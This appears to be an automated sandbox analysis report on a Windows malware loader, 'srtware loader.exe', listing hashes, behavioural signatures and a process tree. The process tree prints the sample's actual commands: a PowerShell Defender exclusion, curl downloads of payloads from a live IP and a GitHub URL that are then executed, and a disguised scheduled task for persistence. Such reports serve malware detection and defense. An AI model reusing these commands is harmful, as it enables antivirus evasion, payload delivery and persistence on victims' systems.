Resubmissions

17-11-2024 12:44

241117-pyzmeazjez 10

Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-11-2024 12:44

General

  • Target

    srtware loader.exe

  • Size

    1.1MB

  • MD5

    de920407355f76c7ef087fafb1f8ae8c

  • SHA1

    73ec5917b60133981764f57939c576a5ea94c2d5

  • SHA256

    eedee87650ce6252c755af15d7065ca4292fc56dd5e848335dc8265ded837fc1

  • SHA512

    4278b11aab909a92157f0a3221ae775c12088e6464f7a8f63ac58c3d4df29327565a97147d3a0d9a9647f83783dba6db7935c22a70c393e4e603e2dda44d9112

  • SSDEEP

    24576:WLzpI+xRUz1EGES2zRP9RPVwzCBjzZg/amV8q2MBTZr5VlenU:6dxKNePXVKVLn1Vj

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\srtware loader.exe
    "C:\Users\Admin\AppData\Local\Temp\srtware loader.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2504
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1256
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c curl http://79.110.49.246/didedba/abc -o %localappdata%/Temp/fff.scr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2856
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c curl http://79.110.49.246/didedba/adderall -o %localappdata%/Temp/qqq.scr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2756
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c curl http://79.110.49.246/didedba/write -o %localappdata%/Temp/ddd.scr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2840
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c curl https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o %localappdata%/Temp/srtware.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2972
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c start %localappdata%/Temp/fff.scr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2768
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c start %localappdata%/Temp/qqq.scr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:676
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c schtasks /create /tn "chromeupdatecc" /tr "%localappdata%\Temp\qqq.scr" /sc onstart /rl highest /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:780
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "chromeupdatecc" /tr "C:\Users\Admin\AppData\Local\Temp\qqq.scr" /sc onstart /rl highest /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1544
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1148
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:2960
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c netsh winsock reset
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\SysWOW64\netsh.exe
        netsh winsock reset
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:2884
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping google.com
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\SysWOW64\PING.EXE
        ping google.com
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2056
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c start %localappdata%/Temp/srtware.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1256-6-0x0000000071F31000-0x0000000071F32000-memory.dmp

    Filesize

    4KB

  • memory/1256-7-0x0000000071F30000-0x00000000724DB000-memory.dmp

    Filesize

    5.7MB

  • memory/1256-8-0x0000000071F30000-0x00000000724DB000-memory.dmp

    Filesize

    5.7MB

  • memory/1256-9-0x0000000071F30000-0x00000000724DB000-memory.dmp

    Filesize

    5.7MB

  • memory/2504-3-0x0000000002150000-0x0000000002156000-memory.dmp

    Filesize

    24KB

  • memory/2504-2-0x0000000000380000-0x00000000006FC000-memory.dmp

    Filesize

    3.5MB

  • memory/2504-1-0x0000000074D7E000-0x0000000074D7F000-memory.dmp

    Filesize

    4KB

  • memory/2504-0-0x0000000000380000-0x00000000006FC000-memory.dmp

    Filesize

    3.5MB

  • memory/2504-10-0x0000000000380000-0x00000000006FC000-memory.dmp

    Filesize

    3.5MB

  • memory/2504-11-0x0000000074D7E000-0x0000000074D7F000-memory.dmp

    Filesize

    4KB

  • memory/2504-128-0x0000000000380000-0x00000000006FC000-memory.dmp

    Filesize

    3.5MB